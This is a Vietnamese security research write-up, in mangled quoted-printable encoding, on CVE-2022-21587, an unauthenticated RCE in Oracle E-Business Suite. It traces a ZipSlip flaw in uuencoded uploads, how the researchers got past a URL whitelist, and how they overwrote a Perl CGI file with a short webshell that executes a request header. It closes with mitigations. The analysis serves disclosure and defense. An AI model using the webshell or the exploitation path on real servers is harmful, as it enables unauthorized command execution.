CVE-2022-21587 (Oracle E-Business S= +uite Unauthenticated RCE)
+ + + + +Introduct= +ion
+Oracle E-Business Suite (Oracle EBS) =C4=91=C6=B0=E1=BB=A3c bi=E1=BA=BFt= + =C4=91=E1=BA=BFn nh=C6=B0 l=C3=A0 m=E1=BB=99t trong nh=E1=BB=AFng gi=E1=BA= +=A3i ph=C3=A1p ERP (Enterprise Resource Planning) h=C3=A0ng =C4=91=E1=BA=A7= +u tr=C3=AAn th=E1=BA=BF gi=E1=BB=9Bi. =C4=90=C3=A2y l=C3=A0 m=E1=BB=99t b= +=E1=BB=99 g=E1=BB=93m c=C3=A1c =E1=BB=A9ng d=E1=BB=A5ng qu=E1=BA=A3n tr=E1= +=BB=8B doanh nghi=E1=BB=87p cho ph=C3=A9p qu=E1=BA=A3n l=C3=AD hi=E1=BB=87u= + qu=E1=BA=A3 v=C3=A0 t=E1=BB=B1 =C4=91=E1=BB=99ng h=C3=B3a t=E1=BA=A5t c=E1= +=BA=A3 c=C3=A1c m=E1=BA=A3ng nghi=E1=BB=87p v=E1=BB=A5: k=E1=BA=BF to=C3=A1= +n t=C3=A0i ch=C3=ADnh, th=C6=B0=C6=A1ng m=E1=BA=A1i d=E1=BB=8Bch v=E1=BB=A5= +, s=E1=BA=A3n xu=E1=BA=A5t, cung =E1=BB=A9ng, v=E1=BA=ADt t=C6=B0 h=C3=A0ng= + h=C3=B3a=E2=80=A6
+Trong Oracle Critical Patch th=C3=A1ng 10 v=E1=BB=ABa qua, ph=E1=BA=A7n = +m=E1=BB=81m n=C3=A0y c=C3=B3 2 l=E1=BB=97 h=E1=BB=95ng v=E1=BB=9Bi CVSS 9.8= + =E1=BB=9F component Upload, thu=E1=BB=99c 1 =E1=BB=A9ng d=E1=BB=A5ng con c= +=C3=B3 t=C3=AAn l=C3=A0 Oracle Web Applications Desktop Integrator.
+B=C3=A0i vi=E1=BA=BFt sau =C4=91=C3=A2y s=E1=BA=BD ph=C3=A2n t=C3=ADch 1= + trong 2 CVE n=C3=B3i tr=C3=AAn. M=C3=ACnh kh=C3=B4ng r=C3=B5 l=C3=A0 c=C3= +=A1i n=C3=A0o n=C3=AAn l=E1=BA=A5y t=E1=BA=A1m t=C3=AAn CVE-2022-21587.
+Install
+C=C3=B3 2 c=C3=A1ch =C4=91=E1=BB=83 c=C3=A0i =C4=91=E1=BA=B7t Oracle EBS= + l=C3=A0 c=C3=A0i t=E1=BB=ABng component ho=E1=BA=B7c import file OVA =C4= +=91=C3=A3 =C4=91=C6=B0=E1=BB=A3c c=C3=A0i s=E1=BA=B5n tr=C3=AAn h=C4=91h Or= +acle Linux. C=E1=BA=A3 2 c=C3=A1ch n=C3=A0y =C4=91=E1=BB=81u c=E1=BA=A7n t= +=E1=BA=A3i v=E1=BB=81 c=C3=A1c file c=C3=A0i =C4=91=E1=BA=B7t t=E1=BB=AB tr= +ang https://edelivery.oracle.com/= + v=E1=BB=9Bi t=E1=BB=95ng dung l=C6=B0=E1=BB=A3ng ~66 GB.
+Do =C4=91=C3=A3 t=E1=BB=ABng tr=E1=BA=A3i nghi=E1=BB=87m nhi=E1=BB=81u = +=C4=91au th=C6=B0=C6=A1ng khi c=C3=A0i =C4=91=E1=BA=B7t c=C3=A1c s=E1=BA=A3= +n ph=E1=BA=A9m t=E1=BB=AB Oracle n=C3=AAn l=E1=BA=A7n n=C3=A0y m=C3=ACnh ch= +=E1=BB=8Dn c=C3=A1ch import VM cho nhanh g=E1=BB=8Dn.
+C=C3=A1c b=C6=B0=E1=BB=9Bc c=C3=A0i =C4=91=E1=BA=B7t th=C3=AC b=E1=BA=A1= +n c=C3=B3 th=E1=BB=83 l=C3=A0m theo h=C6=B0=E1=BB=9Bng d=E1=BA=ABn =E1=BB= +=9F =C4=91=C3=A2y https://blog.rishoradev.com/2021/04/12/oracle-ebs-r= +12-on-virtualbox/. V=C3=A0i =C4=91i=E1=BB=81u m=C3=ACnh note th=C3=AAm:= +
+-
+
- C=C3=A1ch release ph=E1=BA=A7n m=E1=BB=81m c=E1=BB=A7a Oracle c=C5=A9ng= + kh=C3=A1 gi=E1=BB=91ng v=E1=BB=9Bi SharePoint. C=C3=A1c b=E1=BA=A3n c=C3= +=A0i mi=E1=BB=85n ph=C3=AD t=E1=BB=AB Edelivery t=C6=B0=C6=A1ng t=E1=BB=B1 = +nh=C6=B0 b=E1=BA=A3n CU (Cumulative Update). =C4=90i=E1=BB=83m kh=C3=A1c l= +=C3=A0 c=C3=A1c b=E1=BA=A3n SU (Security Update) th=C3=AC ph=E1=BA=A3i c=C3= +=B3 account Oracle x=E1=BB=8Bn m=E1=BB=9Bi download =C4=91=C6=B0=E1=BB=A3c.= + +
- C=E1=BA=A5u h=C3=ACnh ch=E1=BA=A1y th=E1=BB=B1c t=E1=BA=BF l=C3=A0 kho= +=E1=BA=A3ng 10 GB Ram v=C3=A0 300 GB =E1=BB=95 c=E1=BB=A9ng. +
- D=C3=B9ng l=E1=BB=87nh
copy /bthay chotype= +=C4=91=E1=BB=83 n=E1=BB=91i c=C3=A1c file.ova.0xv=E1=BB=9Bi = +nhau. Kho=E1=BA=A3ng 16 files, m=E1=BB=97i file t=E1=BA=A7m 4GB n=C3=AAn l= +=E1=BB=87nh n=C3=A0o th=C3=AC c=C5=A9ng s=E1=BA=BD ph=E1=BA=A3i =C4=91=E1= +=BB=A3i r=E1=BA=A5t l=C3=A2u nh=C6=B0ngtypekh=C3=B4ng tr=E1= +=BA=A3 v=E1=BB=81 th=C3=B4ng tin g=C3=AC cho =C4=91=E1=BA=BFn khi xong to= +=C3=A0n b=E1=BB=99, nh=C3=ACn kh=C3=A1 l=C3=A0 m=C3=B4ng lung.copy= +code> s=E1=BA=BD in ra m=C3=A0n h=C3=ACnh m=E1=BB=97i khi xong 1 file.
+ - N=E1=BA=BFu b=E1=BA=A1n mu=E1=BB=91n deploy tr=C3=AAn Vmware ESXI 7.0 n=
+h=C6=B0 m=C3=ACnh th=C3=AC s=E1=BA=BD ph=E1=BA=A3i th=E1=BB=B1c hi=E1=BB=87=
+n th=C3=AAm c=C3=A1c sau:
+
-
+
-
+
unzip file OVA s=E1=BA=BD =C4=91=C6=B0=E1=BB=A3c 1 file
+.ovfv=C3=A0 1 file.vmdk
+ -
+
Trong file ovf, t=C3=ACm ki=E1=BA=BFm tham s=E1=BB=91
+<vssd:Vir= +tualSystemType>v=C3=A0 s=E1=BB=ADa gi=C3=A1 tr=E1=BB=8B th=C3=A0= +nhvmx-19(theo version c=E1=BB=A7a ESXI)
+
+ -
+
Lo=E1=BA=A1i b=E1=BB=8F item
+Sound Cardtrong ph=E1=BA=A7n = +<VirtualHardwareSection>
+
+ -
+
Cu=E1=BB=91i c=C3=B9ng import c=E1=BA=A3 2 file ovf v=C3=A0 vmdk l=C3=AA= +n ESXI
+
+
+ -
+
Architecture
+Search gg m=C3=ACnh t=C3=ACm =C4=91=C6=B0=E1=BB=A3c m=E1=BB=99t s=E1=BB= +=91 diagram m=C3=B4 t=E1=BA=A3 ki=E1=BA=BFn tr=C3=BAc c=E1=BB=A7a Oracle 12= +.2
+-
+
-
+
T=E1=BB=95ng quan
+
+
+ -
+
Chi ti=E1=BA=BFt h=C6=A1n m=E1=BB=99t ch=C3=BAt
+
+
+
K=E1=BA=BFt h=E1=BB=A3p v=E1=BB=9Bi vi=E1=BB=87c coi process v=C3=A0 net= +work tr=C3=AAn server th=C3=AC m=C3=ACnh r=C3=BAt ra =C4=91=C6=B0=E1=BB=A3c= + v=C3=A0i =C4=91i=E1=BB=81u:
+-
+
-
+
To=C3=A0n b=E1=BB=99 c=C3=A1c th=C3=A0nh ph=E1=BA=A7n c=E1=BB=A7a Oracle= + EBS n=E1=BA=B1m =E1=BB=9F folder
+/u01/install/APPS
+ -
+
OHS (Oracle HTTP Server, based tr=C3=AAn httpd) ti=E1=BA=BFp nh=E1=BA=AD= +n k=E1=BA=BFt n=E1=BB=91i t=E1=BB=AB ngo=C3=A0i v=C3=A0o th=C3=B4ng qua por= +t 8000.
+C=C3=A1c file config n=E1=BA=B1m t=E1=BA=A1i folder
+/u01/install/A= +PPS/fs1/FMW_Home/webtier/instances/EBS_web_OHS1/config/OHS/EBS_web/.= + V=E1=BB=9Bi 2 filehttpd.confv=C3=A0apps.conf= +ch=E1=BB=A9a config ch=C3=ADnh.
+ -
+
5 servers =C4=91=C6=B0=E1=BB=A3c deploy tr=C3=AAn weblogic ch=E1=BB=89 l= +isten trong local
+Trong =C4=91=C3=B3 ch=E1=BB=89 c=C3=B3 2 server =C4=91=C6=B0=E1=BB=A3c O= +HS forward t=E1=BB=9Bi l=C3=A0
+OACOREv=C3=A0FORMS. V=E1=BB=8B tr=C3=AD web.xml c=E1=BB=A7a 2 server n=C3=A0y:
+-
+
- /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html= +/WEB-INF/web.xml +
- /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms= +/WEB-INF/web.xml +
+
Setup debug:
+-
+
-
+
ssh forward port weblogic admin v=E1=BB=81 v=C3=A0 =C4=91=C4=83ng nh=E1= +=BA=ADp:
+ssh root@192.168.137.213 -L 7001:apps.example.com:7001 | web= +logic | welcome1
+ -
+
th=C3=AAm argument debug trong tab
+Configuartion / Server Start= +code> r=E1=BB=93i save + active changes
+
+ -
+
V=C3=A0o tab
+Control, Force Shutdown v=C3=A0 Start l=E1=BA= +=A1i server
+ -
+
Cu=E1=BB=91i c=C3=B9ng ssh forward port debug v=E1=BB=81
+
+
Analysis
+Theo diagram =E1=BB=9F tr=C3=AAn th=C3=AC c=C3=B3 th=E1=BB=83 th=E1=BA= +=A5y Oracle EBS l=C3=A0 m=E1=BB=99t =E1=BB=A9ng d=E1=BB=A5ng r=E1=BA=A5t l= +=E1=BB=9Bn bao g=E1=BB=93m h=C3=A0ng ch=E1=BB=A5c ngh=C3=ACn file JSP v=C3= +=A0 h=C3=A0ng ngh=C3=ACn class. M=E1=BA=B7c d=C3=B9 v=E1=BA=ADy vi=E1=BB=87= +c decom v=C3=A0 check to=C3=A0n b=E1=BB=99 v=E1=BA=ABn m=E1=BA=A5t r=E1=BA= +=A5t nhi=E1=BB=81u th=E1=BB=9Di gian n=C3=AAn m=C3=ACnh t=C3=ACm ki=E1=BA= +=BFm c=C3=A1c t=C3=A0i li=E1=BB=87u, th=C3=B4ng tin li=C3=AAn quan t=E1=BB= +=9Bi n=E1=BB=99i dung advisory =C4=91=E1=BB=83 thu h=E1=BA=B9p ph=E1=BA=A1m= + vi tr=C6=B0=E1=BB=9Bc:
+-
+
- Document c=E1=BB=A7a =E1=BB=A9ng d=E1=BB=A5ng
Oracle Web A= +pplications Desktop Integratorc=C3=B3 nh=E1=BA=AFc =C4=91=E1=BA=BFn= + t=C3=AAn g=E1=BB=8Di kh=C3=A1c l=C3=A0WEBADI Servletsv=C3= +=A0oracle.apps.bne
+ - File web.xml c=E1=BB=A7a server OACORE c=C5=A9ng c=C3=B3 1 servlet c=C3=
+=B3 t=C3=AAn l=C3=A0
oracle.apps.bne.integrator.upload.BneUploaderSer= +vice
+
T=E1=BB=AB =C4=91=C3=B3 m=C3=ACnh th=E1=BB=AD =C4=91=E1=BB=8Dc package <=
+code>oracle.apps.bne =C4=91=E1=BA=A7u ti=C3=AAn. L=C6=B0=E1=BB=9Bt q=
+ua c=C3=A1c file th=C3=AC m=C3=ACnh th=E1=BA=A5y =C4=91=C3=A1ng ch=C3=BA =
+=C3=BD nh=E1=BA=A5t l=C3=A0 oracle.apps.bne.framework.BneMultipartReq=
+uest.
H=C3=A0m doUploadFile trong file n=C3=A0y s=E1=BA=BD th=E1=
+=BB=B1c hi=E1=BB=87n decode c=C3=A1c file c=C3=B3 t=C3=AAn ch=E1=BB=A9a str=
+ing uue v=C3=A0 sau =C4=91=C3=B3 =C4=91=C6=B0a v=C3=A0o h=C3=
+=A0m doUnZip. =C4=90i ti=E1=BA=BFp v=C3=A0o h=C3=A0m n=C3=A0y =
+th=C3=AC m=C3=ACnh t=C3=ACm th=E1=BA=A5y bug ZipSlip.
Check Call Hierarchy c=E1=BB=A7a h=C3=A0m doUploadFil=
+e th=C3=AC c=C3=B3 th=E1=BB=83 g=E1=BB=8Di t=E1=BB=9Bi t=E1=BB=AB
Tuy nhi=C3=AAn th=C3=AC servlet n=C3=A0y ch=E1=BB=89 l=C3=A0 1 abs=
+tract class, kh=C3=B4ng c=C3=B3 mapping trong web.xml. M=C3=ACnh tra=
+ce ti=E1=BA=BFp theo Method Hierachy =C4=91=E1=BB=83 t=C3=ACm =
+method doRequest trong c=C3=A1c servlet k=E1=BA=BF th=E1=BB=AB=
+a.
C=E1=BA=A3 4 servlet tr=C3=AAn =C4=91=E1=BB=81u c=C3=B3 url-pattern map =
+t=E1=BB=9Bi. D=E1=BA=A5u tr=E1=BB=AB =E1=BB=9F tr=C6=B0=E1=BB=9Bc m=E1=BB=
+=97i class con th=E1=BB=83 hi=E1=BB=87n r=E1=BA=B1ng ch=C3=BAng kh=C3=B4ng =
+override l=E1=BA=A1i h=C3=A0m doRequest c=E1=BB=A7a class cha.=
+
T=E1=BB=AB servlet =C4=91i t=E1=BB=9Bi BneUnZip.doUnZip() t=
+h=C3=AC request c=E1=BA=A7n th=E1=BB=8Fa m=C3=A3n =C4=91i=E1=BB=81u ki=E1=
+=BB=87n bi=E1=BA=BFn file trong h=C3=A0m BneMultipartRequest.doUpload=
+File() ph=E1=BA=A3i c=C3=B3 t=C3=AAn ch=E1=BB=A9a chu=E1=BB=97i BneAbstractXMLServlet.getMultipartFileNameSuffix()=
+ =E1=BB=9F b=C3=AAn d=C6=B0=E1=BB=9Bi .
-
+
-
+
Param
+bne:uueuploadph=E1=BA=A3i =C4=91=C6=B0=E1=BB=A3c set= + =3D true =C4=91=E1=BB=83 =C4=91u=C3=B4i file =3D.uue
+
+ -
+
Suffix uue s=E1=BA=BD =C4=91=C6=B0=E1=BB=A3c set t=E1=BA=A1i =C4=91=C3= +=A2y
+
+
+
Ti=E1=BA=BFp theo th=C3=AC ph=E1=BA=A3i reverse h=C3=A0m doDecode<=
+/code>
-
+
-
+
=E1=BB=9E =C4=91=C3=A2y th=E1=BA=A5y c=C3=B3 nhi=E1=BB=81u =C4=91o=E1=BA= +=A1n kh=C3=A1 gi=E1=BB=91ng base64 decode n=C3=AAn ban =C4=91=E1=BA=A7u m= +=C3=ACnh =C4=91o=C3=A1n r=E1=BA=B1ng =C4=91=C3=A2y l=C3=A0 d=E1=BA=A1ng enc= +ode ri=C3=AAng =C4=91=C6=B0=E1=BB=A3c Oracle custom l=E1=BA=A1i.
+
+
+ -
+
Nh=C3=ACn =C4=91=E1=BB=91ng ph=C3=A9p to=C3=A1n shift, and, xor trong m= +=E1=BB=97i h=C3=A0m con kh=C3=A1 l=C3=A0 =C4=91au =C4=91=E1=BA=A7u n=C3=AAn= + m=C3=ACnh th=E1=BB=AD search gg. H=C3=B3a ra =C4=91=C3=A2y l=C3=A0 d=E1= +=BA=A1ng encode =C4=91=C3=A3 c=C3=B3 t=E1=BB=AB l=C3=A2u v=E1=BB=9Bi t=C3= +=AAn =C4=91=E1=BA=A7y =C4=91=E1=BB=A7 l=C3=A0 uuencoding (Unix to Unix), th=C6=B0=E1=BB=9Dng =C4= +=91=C6=B0=E1=BB=A3c s=E1=BB=AD d=E1=BB=A5ng =C4=91=E1=BB=83 encode file bin= +ary trong c=C3=A1c h=E1=BB=87 th=E1=BB=91ng email.
+
+ -
+
Tr=C3=AAn ubuntu th=C3=AC tool
+uuencodec=C3=A0i =C4=91=E1= +=BA=B7t th=C3=B4ng qua packagesharutils. Th=E1=BB=AD v=E1=BB= +=9Bi file test.txt c=C3=B3 n=E1=BB=99i dung l=C3=A0 =E2=80=9CabcDEF123=E2= +=80=9D
+
+
S=E1=BB=AD d=E1=BB=A5ng tool slipit =C4=91=E1=BB=83 t=E1=BA=
+=A1o file zip v=C3=A0 uuencode l=E1=BA=A1i th=C3=AC m=C3=ACnh =C4=91=C3=A3 =
+t=E1=BA=A1o =C4=91=C6=B0=E1=BB=A3c payload =C4=91=E1=BB=83 write file t=C3=
+=B9y =C3=BD
Write Working Webshell
+Ng=E1=BB=A1 r=E1=BA=B1ng =C4=91=E1=BA=BFn =C4=91=C3=A2y ch=E1=BB=89 c=E1= +=BA=A7n write =C4=91=C6=B0=E1=BB=A3c shell jsp ra webroot c=E1=BB=A7a serve= +r OACORE l=C3=A0 xong, nh=C6=B0ng khi truy c=E1=BA=ADp =C4=91=E1=BA=BFn she= +ll th=C3=AC m=C3=ACnh g=E1=BA=B7p b=E1=BB=8B denied.
+M=C3=ACnh c=C5=A9ng th=E1=BB=AD th=C3=AAm m=E1=BB=99t s=E1=BB=91 h=C6=B0= +=E1=BB=9Bng write file kh=C3=A1c th=C3=AC k=E1=BA=BFt qu=E1=BA=A3 khi truy = +c=E1=BA=ADp nh=C6=B0 sau:
+-
+
- Write =C4=91=C3=A8 file JSP =E1=BB=9F webroot =E2=87=92 kh=C3=B4ng =C4= +=91=E1=BB=95i +
- Compile file JSP ra class r=E1=BB=93i write v=C3=A0o th=C6=B0 m=E1=BB=
+=A5c
oacore/html/WEB-INF/classes=E2=87=92 kh=C3=B4ng =C4=91= +=E1=BB=95i
+ - Write file static m=E1=BB=9Bi v=E1=BB=9Bi c=C3=A1c =C4=91=E1=BB=8Bnh d= +=E1=BA=A1ng nh=C6=B0 txt, html, =E2=80=A6 =E2=87=92 denied +
- Write =C4=91=C3=A8 c=C3=A1c file static =E2=87=92 thay =C4=91=E1=BB=95i= + +
Nh=C6=B0 v=E1=BA=ADy kh=E1=BA=A3 n=C4=83ng cao l=C3=A0 Oracle EBS =C4=91=
+=C3=A3 thi=E1=BA=BFt l=E1=BA=ADp whitelist urls trong 1 Filter ho=E1=BA=B7c=
+ Servlet n=C3=A0o =C4=91=C3=B3. T=C3=ACm ki=E1=BA=BFm trong web.xml th=C3=
+=AC m=C3=ACnh x=C3=A1c =C4=91=E1=BB=8Bnh =C4=91=C6=B0=E1=BB=A3c nguy=C3=AAn=
+ nh=C3=A2n n=E1=BA=B1m =E1=BB=9F class oracle.apps.fnd.security.WLFil=
+ter
T=C3=ACm hi=E1=BB=83u th=C3=AAm t=E1=BB=AB nhi=E1=BB=81u ngu=E1=BB=93n t=
+r=C3=AAn gg th=C3=AC t=E1=BB=AB ver 12.2.7, danh s=C3=A1ch whitelist =C4=91=
+=C6=B0=E1=BB=A3c l=C6=B0u v=C3=A0o Database, mu=E1=BB=91n th=C3=AAm file m=
+=E1=BB=9Bi th=C3=AC ph=E1=BA=A3i ch=E1=BA=A1y l=E1=BB=87nh tr=C3=AAn server=
+ ho=E1=BA=B7c d=C3=B9ng ch=E1=BB=A9c n=C4=83ng tr=C3=AAn web c=E1=BB=A7a ad=
+min. C=E1=BA=A3m gi=C3=A1c bypass WLFilter kh=C3=A1 l=C3=A0 kh=C3=B3 n=C3=
+=AAn m=C3=ACnh chuy=E1=BB=83n sang h=C6=B0=E1=BB=9Bng write v=C3=A0o webroo=
+t c=E1=BB=A7a c=C3=A1c server kh=C3=A1c.
+=E1=BB=9E server FORMS th=C3=AC webshell ch=E1=BA=A1y th=C3=A0nh c=C3=B4ng.=
+ Tuy nhi=C3=AAn test th=E1=BB=B1c t=E1=BA=BF g=E1=BA=B7p v=C3=A0i tr=C6=B0=
+=E1=BB=9Dng h=E1=BB=A3p server n=C3=A0y b=E1=BB=8B t=E1=BA=AFt ho=E1=BA=B7c=
+ ch=E1=BA=B7n truy c=E1=BA=ADp n=C3=AAn m=C3=ACnh l=E1=BA=A1i ti=E1=BA=BFp =
+t=E1=BB=A5c t=C3=ACm c=C3=A1ch kh=C3=A1c.
+Trong config c=E1=BB=A7a OHS th=C3=AC c=C3=B2n 1 tag Location n=E1=BB=AFa f=
+orward t=E1=BB=9Bi server OACORE:
M=E1=BB=8Di request t=E1=BB=9Bi OACORE c=C3=B3 =C4=91u=C3=B4i .pl<=
+/code> s=E1=BA=BD ph=E1=BA=A3i =C4=91i qua weblogic.servlet.CGIServle=
+t
Debug v=C3=A0o trong Servlet n=C3=A0y.
+Sau c=C3=A1c =C4=91o=E1=BA=A1n code parse query, header, =E2=80=A6 trong=
+ request c=E1=BB=A7a ng=C6=B0=E1=BB=9Di d=C3=B9ng th=C3=AC cu=E1=BB=91i c=
+=C3=B9ng Servlet n=C3=A0y s=E1=BA=BD g=E1=BB=8Di l=E1=BB=87nh ch=E1=BA=A1y =
+1 file perl c=E1=BB=91 =C4=91=E1=BB=8Bnh, c=C3=B3 t=C3=AAn l=C3=A0 tx=
+kFNDWRR.pl. Nh=C6=B0 v=E1=BA=ADy m=C3=ACnh c=C3=B3 th=E1=BB=83 overw=
+rite l=E1=BA=A1i file n=C3=A0y v=C3=A0 v=C3=A0 s=E1=BB=AD d=E1=BB=A5ng n=C3=
+=B3 l=C3=A0m webshell. M=C3=B2 m=E1=BB=99t h=E1=BB=93i th=C3=AC m=C3=ACnh v=
+i=E1=BA=BFt =C4=91=C6=B0=E1=BB=A3c c=C3=A1i webshell b=E1=BA=B1ng perl nh=
+=C6=B0 sau:
use CGI;
+print CGI::header( -type =3D> 'text/plain' );
+my $cmd =3D CGI::http('HTTP_CMD');
+print system($cmd);
+exit 0;
+
+M=E1=BA=B7c d=C3=B9 vi=E1=BB=87c ghi =C4=91=C3=A8 file c=E1=BB=A7a serve=
+r kh=C3=B4ng =C4=91=C6=B0=E1=BB=A3c hay l=E1=BA=AFm nh=C6=B0ng theo m=C3=B4=
+ t=E1=BA=A3 trong ch=C3=ADnh txkFNDWRR.pl th=C3=AC t=C3=A1c d=
+=E1=BB=A5ng c=E1=BB=A7a n=C3=B3 ch=E1=BB=89 =C4=91=C6=A1n gi=E1=BA=A3n l=C3=
+=A0 gen log, rce xong th=C3=AC m=C3=ACnh c=C3=B3 th=E1=BB=83 ghi l=E1=BA=A1=
+i b=E1=BA=A3n c=C5=A9 =C4=91=E1=BB=83 h=E1=BA=A1n ch=E1=BA=BF =E1=BA=A3nh h=
+=C6=B0=E1=BB=9Fng ngo=C3=A0i =C3=BD mu=E1=BB=91n t=E1=BB=9Bi server.
Demo
+Mitigation
+C=C3=A1ch t=E1=BB=91t nh=E1=BA=A5t =C4=91=E1=BB=83 kh=E1=BA=AFc ph=E1=BB= +=A5c l=E1=BB=97 h=E1=BB=95ng n=C3=A0y l=C3=A0 c=C3=A0i =C4=91=E1=BA=B7t b= +=E1=BA=A3n v=C3=A1 t=E1=BB=AB Oracle. Trong tr=C6=B0=E1=BB=9Dng h=E1=BB=A3p= + kh=C3=B4ng th=E1=BB=83 update, b=E1=BA=A1n c=C3=B3 th=E1=BB=83 s=E1=BB=AD = +d=E1=BB=A5ng firewall =C4=91=E1=BB=83 ch=E1=BA=B7n request g=E1=BB=ADi t=E1= +=BB=9Bi c=C3=A1c URL sau:
+-
+
- /OA_HTML/BneUploaderService +
- /OA_HTML/BneViewerXMLService +
- /OA_HTML/BneDownloadService +
- /OA_HTML/BneOfflineLOVService +
Credit
+@vudq16, @_q5ca, @hoangnx99 from VcsLab of Viettel Cyber Security.
+ +